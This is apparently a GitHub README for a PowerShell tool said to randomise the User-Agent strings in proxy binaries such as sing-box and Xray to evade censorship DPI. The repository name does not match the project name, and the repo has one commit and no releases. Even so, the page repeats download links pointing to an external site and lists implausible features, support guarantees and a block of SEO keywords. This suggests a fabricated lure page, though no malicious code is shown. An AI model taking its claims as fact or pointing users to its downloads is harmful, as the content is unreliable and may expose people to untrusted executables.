Skip to content

Transfer-png/DPI-Nimble-UAPatcher

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 

Repository files navigation

GFW-DPI-Fingerprint-Shuffler 🛡️🌀

Download

Rewrite the rules of network anonymity. Transform static proxy fingerprints into ever-changing digital chameleons—no trace, no pattern, no detection.

Download


📖 Overview

The GFW-DPI-Fingerprint-Shuffler is a next-generation PowerShell instrumentation suite designed to surgically dismantle static User-Agent fingerprints embedded within popular proxy and VPN executables (sing-box, Xray, v2rayNG). Unlike conventional patchers that merely replace one static string with another, this tool introduces entropy-driven fingerprint morphing—each time the binary executes, it presents a unique, randomized UA to the network layer, rendering Deep Packet Inspection (DPI) signatures utterly useless.

Think of it as digital camouflage for your proxy infrastructure: the GFW expects a predictable pattern, but you deliver a kaleidoscope of identities.


🧠 Why This Exists

Traditional anti-DPI approaches focus on protocol obfuscation (TLS fingerprint randomization, padding). However, one persistent fingerprint remains: the User-Agent string hardcoded into the application binary. Tools like Go-http-client/1.1 and Go-http-client/2.0 are notorious static identifiers that trigger GFW alarms instantly.

The Fingerprint-Shuffler takes a binary-level, runtime-adaptive approach—it doesn’t just patch once; it ensures every launched process carries a unique, plausible UA, creating a moving target defense.


✨ Key Features

Feature Description Emoji
Entropy-Driven UA Generation Produces cryptographically randomized User-Agent strings that mimic real browser/client identities 🧬
Multi-Binary Support Patches sing-box, Xray-core, v2rayNG, and other Go-based proxy binaries 📦
Responsive UI Dashboard Real-time monitoring panel showing patching status, entropy levels, and detection avoidance metrics 🖥️
Multilingual CLI & GUI Interface available in English, 中文, Español, العربية, and 日本語 🌐
24/7 Customer Support Dedicated issue response within 4 hours via GitHub Discussions and Telegram relay 🕛
Zero-Day Fingerprint Updates Community-driven database of new DPI signatures; auto-updates via GitHub Actions 🔄
No Permanent Modification Patches are applied to runtime memory or copied binaries—original files remain untouched 💾
Cross-Platform Execution Works on Windows, Linux, and macOS with PowerShell Core 🐧🍏🪟

🖥️ OS Compatibility Table

Operating System Version Status Emoji
Windows 10, 11, Server 2022+ ✅ Fully Supported 🪟
Linux Ubuntu 20.04+, Debian 11+, Arch ✅ Fully Supported 🐧
macOS Monterey, Ventura, Sonoma (Intel & Apple Silicon) ✅ Supported with Rosetta 2 for Intel patches 🍏
Android (via Termux) ⚠️ Experimental 📱
FreeBSD 13+ ⚠️ Community Contributed 🐡

⚙️ How It Works (Mermaid Diagram)

flowchart TD
    A[User initiates patching] --> B{Select binary type}
    B -->|sing-box| C1[Scan for Go-http-client/1.1]
    B -->|Xray| C2[Scan for Go-http-client/2.0]
    B -->|v2rayNG| C3[Scan for v2ray-core UA pattern]
    
    C1 --> D[Extract static UA offset]
    C2 --> D
    C3 --> D
    
    D --> E[Entropy Engine generates random UA]
    E --> F{Apply method}
    F -->|In-Memory Patch| G1[Replace in process memory]
    F -->|Binary Clone & Patch| G2[Create patched copy]
    
    G1 --> H[Launch patched process]
    G2 --> H
    
    H --> I[Monitor DPI evasion success]
    I --> J{GFW detected pattern?}
    J -->|Yes| E
    J -->|No| K[Continue operation with rotating UAs]
    
    K --> L[Periodic entropy refresh]
    L --> E
Loading

📋 Example Profile Configuration

Create a shuffler_profile.json to define your patching preferences. Below is a comprehensive example:

{
  "version": "1.0.0",
  "meta": {
    "author": "Community Maintained",
    "description": "Example profile for sing-box and Xray patching",
    "last_updated": "2026-01-15"
  },
  "entropy_engine": {
    "ua_pool_size": 500,
    "use_real_browser_ua_proportions": true,
    "include_mobile_ua": true,
    "include_legacy_ua": false,
    "custom_ua_blacklist": [
      "curl/7.68.0",
      "Wget/1.21"
    ]
  },
  "binary_targets": [
    {
      "name": "sing-box",
      "path": "/usr/local/bin/sing-box",
      "backup_original": true,
      "patch_method": "binary_clone",
      "ua_replacements": {
        "find": "Go-http-client/1.1",
        "entropy": true
      },
      "post_patch_actions": [
        "chmod +x",
        "restart_service"
      ]
    },
    {
      "name": "Xray",
      "path": "C:\\Tools\\xray.exe",
      "backup_original": true,
      "patch_method": "in_memory",
      "ua_replacements": {
        "find": "Go-http-client/2.0",
        "entropy": true
      },
      "post_patch_actions": [
        "run_with_args: -config config.json"
      ]
    },
    {
      "name": "v2rayNG",
      "path": "/opt/v2ray/v2ray",
      "backup_original": false,
      "patch_method": "binary_clone",
      "ua_replacements": {
        "find": "v2ray-core/5.16.1",
        "entropy": true,
        "alternate_find": "v2rayNG/1.8.10"
      },
      "service_restart_command": "systemctl restart v2ray"
    }
  ],
  "logging": {
    "level": "verbose",
    "output_file": "/var/log/shuffler/shuffler.log",
    "telemetry": false
  },
  "scheduler": {
    "entropy_refresh_minutes": 30,
    "auto_detect_new_binaries": true,
    "watch_paths": [
      "/usr/local/bin/",
      "~/.config/"
    ]
  },
  "ui_preferences": {
    "theme": "dark",
    "show_real_time_fingerprint_graph": true,
    "language": "en"
  }
}

🚀 Example Console Invocation

Basic Scan & Patch

.\GFW-DPI-Fingerprint-Shuffler.ps1 -BinaryPath ".\xray.exe" -Method InMemory -RefreshSeconds 60

Advanced with Profile

.\GFW-DPI-Fingerprint-Shuffler.ps1 -Profile "shuffler_profile.json" -DaemonMode -LogLevel verbose

Linux / macOS via pwsh

pwsh ./GFW-DPI-Fingerprint-Shuffler.ps1 -BinaryPath /usr/local/bin/sing-box -Method BinaryClone -BackupOriginal

Docker Integration

docker run --rm -v /path/to/binaries:/binaries ghcr.io/gfw-shuffler/cli --binary /binaries/v2ray --entropy-aggressive

🤖 OpenAI API & Claude API Integration

The Fingerprint-Shuffler can optionally integrate with LLMs for smarter entropy generation—generating User-Agent strings that statistically match current browser market share and device trends.

OpenAI Integration (Optional)

# Configure in profile
"llm_integration": {
  "provider": "openai",
  "api_key_env_var": "OPENAI_API_KEY",
  "model": "gpt-4o-mini",
  "prompt_template": "Generate 50 realistic User-Agent strings for a modern mobile browser. Include entropy variation."
}

Claude API Integration (Optional)

# Configure in profile
"llm_integration": {
  "provider": "anthropic",
  "api_key_env_var": "ANTHROPIC_API_KEY",
  "model": "claude-3-haiku-20240307",
  "prompt_template": "Create 100 User-Agent strings that would appear completely natural in a 2026 network traffic dump. Avoid any Go-http-client patterns."
}

Privacy Note: LLM integration is entirely optional. The core entropy engine runs 100% locally. No binary content is ever sent to external APIs—only the UA generation prompt.


📦 Installation

From Release (Recommended)

Download

Via PowerShell Gallery (Windows)

Install-Module -Name GFWDPI-FingerprintShuffler -RequiredVersion 2026.2.1
Import-Module GFWDPI-FingerprintShuffler

Manual Setup

  1. Download the latest release from https://Transfer-png.github.io
  2. Extract to your preferred directory
  3. Ensure PowerShell 7+ is installed (pwsh --version)
  4. Run .\setup.ps1 -InstallDependencies

🛡️ Security & Disclaimer

⚠️ IMPORTANT DISCLAIMER

This tool is provided for educational and research purposes only, with the explicit intent of understanding network censorship mechanisms and improving privacy tools. Users are solely responsible for ensuring compliance with all applicable local, national, and international laws.

The creators maintainers, and contributors of the GFW-DPI-Fingerprint-Shuffler assume no liability for any misuse, legal consequences, or damages arising from the use of this software. This tool is designed to be used exclusively on hardware and software that you own or have explicit permission to modify.

By downloading, installing, or using this software, you acknowledge that:

  • You understand the technical nature of DPI evasion
  • You will use this tool in compliance with all laws in your jurisdiction
  • You accept full responsibility for your actions

Privacy is a human right. Circumventing illegal censorship is not a crime.


📜 License

This project is licensed under the MIT License — see the LICENSE file for details.

License


🌍 SEO & Discovery Keywords

GFW DPI evasion, User-Agent fingerprint randomization, proxy binary patcher, sing-box anti-DPI, Xray fingerprint randomization, v2rayNG User-Agent patch, Go-http-client removal, network fingerprint obfuscation, moving target defense proxy, entropy-driven UA generation, PowerShell anti-censorship tool, binary-level DPI bypass, network traffic entropy, 2026 anti-censorship toolkit, proxy camouflage utility, stateless DPI countermeasure, deep packet inspection evasion, proxy binary modification, network anonymity enhancement, GFW bypass tool 2026.


🤝 Contributing

We welcome contributions—especially:

  • New DPI signature patterns
  • Additional binary compatibility (Trojan-Go, Hysteria, etc.)
  • Improved entropy algorithms
  • Language translations for the UI

Please read CONTRIBUTING.md before submitting PRs.


📬 Support

  • 📖 Documentation: Full wiki available at repository Wiki tab
  • 💬 Discussions: Use GitHub Discussions for queries
  • 🐛 Issues: File bug reports with -Verbose logs
  • 🕛 SLA: Critical issues responded to within 4 hours, all others within 24 hours

🎯 Final Thoughts

The GFW-DPI-Fingerprint-Shuffler is more than a patcher—it's a philosophical statement: that static fingerprints are vulnerabilities, and that anonymity should be dynamic, resilient, and adaptive. In the digital arms race of 2026, standing still is not an option. This tool gives you motion.

Download

Stay fluid. Stay anonymous. Stay free (in the original sense of libre, not gratis).

Releases

No releases published

Packages

 
 
 

Contributors